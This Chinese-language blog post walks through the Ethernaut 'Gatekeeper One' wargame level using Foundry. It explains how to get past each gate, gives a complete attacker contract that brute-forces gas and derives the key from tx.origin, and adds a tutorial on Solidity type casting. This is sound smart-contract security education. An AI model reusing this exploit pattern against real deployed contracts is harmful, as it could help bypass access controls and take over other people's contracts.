【Ethernaut x Foundry】Level 13-Gatekeeper One 答案解說

tanner.dev
13 min readMar 18, 2024

--

Figure 1: https://ethernaut.openzeppelin.com/level/0xb5858B8EDE0030e46C0Ac1aaAedea8Fb71EF423C

三個願望一次滿足

看完這篇你會學到:

  1. 什麼是 gasleft()
  2. 不同形態之間的 type casting

題目

此次目標是通過 gatekeeper 的三個檢查成為參賽者即可通關。

Figure 2: Gatekeeper One 題目

合約程式碼如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

解說

本關需要通過三站檢查:

GateOne

require(msg.sender != tx.origin) 是在前幾題有遇過的檢查,因 tx.origin 一定是 EOA,而 msg.sender 可以是合約,所以只要使用合約來呼叫而不是 EOA 就可以通過檢查。

GateTwo

require(gasleft() % 8191 == 0) 這裡是我們第一次看到 gasleft(),它屬於 Solidity 文檔中的全域變數之一,會返回當前所剩的 gas,而要通過第二個檢查,必須讓剩餘 gas 數量剛好能被 8191 整除。因為我們沒有要精通 EVM 到了解每一個 opcode 花費多少 gas 的程度,所以直接使用暴力破解法來通過檢查。首先,在用 call 時可以在後綴加上 {gas: amount},目的是去控制 external call 時要使用的 gas 量,再來,因為每一個 external call 的最低 gas 數量限制是 21000,所以在設定 amount 時的總額要超過 21000。最後,只要寫一個 loop 不斷去測試呼叫的結果是否成功,便能通過第二站檢查。

for (uint256 i = 0; i < 8191; i++) { 
(bool result,) = challengeInstance.call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}

GateThree

這裡會用到 type casting 的技巧,如果不太熟悉可以先跳至延伸閱讀,熟悉後就能快速在 uint <=> bytes <=> address 之間進行任何轉換~

require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");

第三站檢查必須滿足三個條件,我們一個個來看這些條件:

  • 第一行條件:bytes8 _gateKey 轉成 uint64,接著由大變小轉成 uint16 會截斷高位 (左邊) 資訊,留下最右邊的 2 bytes,而剩下最右邊的 2 bytes 必須等於 _gateKey 最右邊的 2 bytes
  • 第二行條件:bytes8 _gateKey 轉成 uint64,轉完後的條件是不能等於 uint32(uint64(_gateKey),也就是不能完全等於 _gateKey 最右邊的 4 bytes
  • 第三行條件:tx.origin 的型態是 address (bytes20),可以直接轉成 uint160,接著由大變小轉成 uint16 會截斷高位 (左邊) 資訊,留下最右邊的 2 bytes,而地址剩下最右邊的 2 bytes 必須等於 _gateKey 最右邊的 2 bytes

單從條件來看,會發現第一行與第三行條件其實是一樣的,只要滿足第三行條件就一定會滿足第一行條件,因此真正要思考的只有兩個條件。首先,第三行條件需要用到 tx.origin,可以先把 tx.origin 轉成 bytes8 的樣子:bytes8(uint64(uint160(tx.origin)))。再來,第二行條件要求不能完全等於 _gateKey 最右邊的 4 bytes,所以我們需要對 tx.origin 做一點 bit-wise 操作。

要知道 bytes8(uint64(uint160(tx.origin))) 換成用 hex 表示會長得像 0x1234_5678_abcd_efgh,這裡故意每 2 bytes 用底線隔開,第一、三條件限制了最右邊 2 bytes (efgh) 不能更改,而第二條件則限制了最右邊數來 3 ~ 4 bytes (abcd) 不能維持一樣的 abcd,接下來,就需要利用 AND 運算(&) 去控制每個 bit 的長相,先複習一下 AND 運算規則:

// AND 運算
0 AND 0 // 0
0 AND 1 // 0
1 AND 0 // 0
1 AND 1 // 1

因為我們是 hex 而非 binary,所以記得要把 1 改成 F。再來後續就簡單了,只要運用 AND 運算最右邊數來 3 ~ 4 bytes (abcd) 變成不一樣的數值便可通過第二行條件,如下:

bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF

這就是我們通關最關鍵的鑰匙啦!拿到後便可以開始寫攻擊合約和 script,程式碼如下:

// src/13-GatekeeperOneAttacker.sol

contract GatekeeperOneAttacker {
address public challengeInstance;

constructor(address _challengeInstance) {
challengeInstance = _challengeInstance;
}

function attack() external {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
for (uint256 i = 0; i < 8191; i++) {
(bool result,) = challengeInstance.call{gas:i + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
if (result) {
break;
}
}
}
}
// script/solutions/13-GatekeeperOne.s.sol

contract GatekeeperOneSolution is Script, EthernautHelper {
...

function run() public {
...

// YOUR SOLUTION HERE
GatekeeperOneAttacker gatekeeperOneAttacker = new GatekeeperOneAttacker(challengeInstance);
gatekeeperOneAttacker.attack();

...
}
}

延伸閱讀

Type Casting

首先,根據 Solidity 文件,型態轉換分成了兩種:隱性轉換 (Implicit Conversion) 顯性轉換 (Explicit Conversion)。隱性轉換指的是在賦值過程中,如果在語法上是具有意義的,且不會發生資料丟失,則編譯器會自動執行隱性轉換。

例如:uint8 可以轉換為 uint16, int128 可以轉換為 int256,但是 int8 不能跨型態轉換成 uint256,因為 uint256 的範圍不接受負數,語法上是錯誤的。如果以程式碼來說,下方運算即為一種隱性轉換:

// 隱性轉換
uint8 y;
uint16 z;
uint32 x = y + z;

// 錯誤範例
int8 a = -1;
int16 b = -2;
uint32 c = a + b; // Compiler errors: Type int16 is not implicitly convertible to expected type uint32.

顯性轉換指的是將一種資料型態明確地指定轉換為另一種資料型態的過程,通常是在你很確定會轉換成功才使用,否則有可能導致預期外的結果發生,所以使用顯性轉換建議多多測試以確保結果符合預期。下方舉個顯性轉換範例:

// 顯性轉換
int y = -3;
uint x = uint(y); // x in Hex: 0xfffff..fd

x 若以十六進位制表示即為 0xfffff..fd ,這在 256 位元的 two’s complement 表示法正好等於 -3。

此外,不論什麼型態在進行轉換時,幾乎都會牽涉到截斷 (Truncating) 或填充 (Padding) 這兩個行為,當型態由大變小需要截斷,而截斷通常會導致資料缺失,故可視為顯性轉換;相反地,當型態由小變大則需要填充,補上 0 後才能對齊較大的型態,因為沒有發生資料丟失,所以可視為隱性轉換。其中,uint 和固定大小的 bytes 在截斷和填充上的行為正好是完全相反的,用以下例子來說明:

  • uint:由小變大的隱性轉換會對左邊填充補 0,而由大變小的顯性轉換會優先截斷高位 (左邊) 的資料,也就是留下最右邊的資料。
// 由小變大的隱性轉換
uint16 a = 0x1234;
uint32 b = uint32(a); // b 現在是 0x00001234,對左邊補 0

// 由大變小的顯性轉換
uint32 a = 0x12345678;
uint16 b = uint16(a); // b 現在是 0x5678,留下最右邊的資料
  • bytes:由小變大的隱性轉換會對右邊填充補 0,而由大變小的顯性轉換會優先截斷低位 (右邊) 的資料,也就是留下最左邊的資料。
// 由小變大的隱性轉換
bytes2 a = 0x1234;
bytes4 b = bytes4(a); // b 現在是 0x12340000,對右邊補 0

// 由大變小的顯性轉換
bytes2 a = 0x1234;
bytes1 b = bytes1(a); // b 現在是 0x12,留下最左邊的資料

由於 uint 和固定大小的 bytes 是不同陣營的兩種型態,而且在截斷或填充的行為也截然不同,故 Solidity 從 0.5.0 後開始規定必須當兩者的長度是一樣的,才允許彼此之間進行型態轉換 (顯式轉換),也就是如果想轉換成不同型態和長度,必須經過一次中間轉換 (彼此長度一致),否則會看到類似 Type Checker: Disallow conversions between bytesX and uintY of different size. 的提示。下方再舉幾個例子:

// bytes 轉 uint 或是 uint 轉 bytes 一定要長度相同才能互相轉換
bytes2 a = 0x1234;
uint32 b = uint16(a); // b 是 0x00001234
uint32 c = uint32(bytes4(a)); // c 是 0x12340000,a 先轉成 bytes4
uint8 d = uint8(uint16(a)); // d 是 0x34
uint8 e = uint8(bytes1(a)); // e 是 0x12,a 先轉成 bytes1

知道了隱性轉換、顯性轉換,以及 uint、bytes 截斷與填充的差異後,最後就剩下 address 地址。

address 是通過 address checksum test 後且長度為 20 bytes 的變數,目前只允許從 bytes20 和 uint160 顯性轉換成 address。而像是 uint256 和 bytes32 這些比較長的型態若要轉成比較短的 address,抑或是 address 轉 uint256 和 bytes32,因為都屬於轉換成不同型態和長度,所以必須經過一次中間轉換,轉換範例如下:

// uint256 和 address 的轉換
address(uint160(uint256)); // address 是 uint256 最右邊的 20 bytes
uint256(uint160(address)); // uint256 左方 padding 12 bytes 的 0

// bytes32 和 address 的轉換
address(bytes20(bytes32)); // address 是 bytes32 最左邊的 20 bytes
bytes32(bytes20(address)); // bytes32 右方 padding 12 bytes 的 0

另外,在 Solidity 0.8.0 之前,可以從任何整數型態 (uint、int) 和長度轉換成 address,但是從 Solidity 0.8.0 之後,整數型態 (不包含bytes!) 只唯一允許從 uint160 轉換成 address。

--

--

tanner.dev

Blockchain Dev | Smart Contract Security | Day 1 in CTF | HODL & BUIDL & BEHODL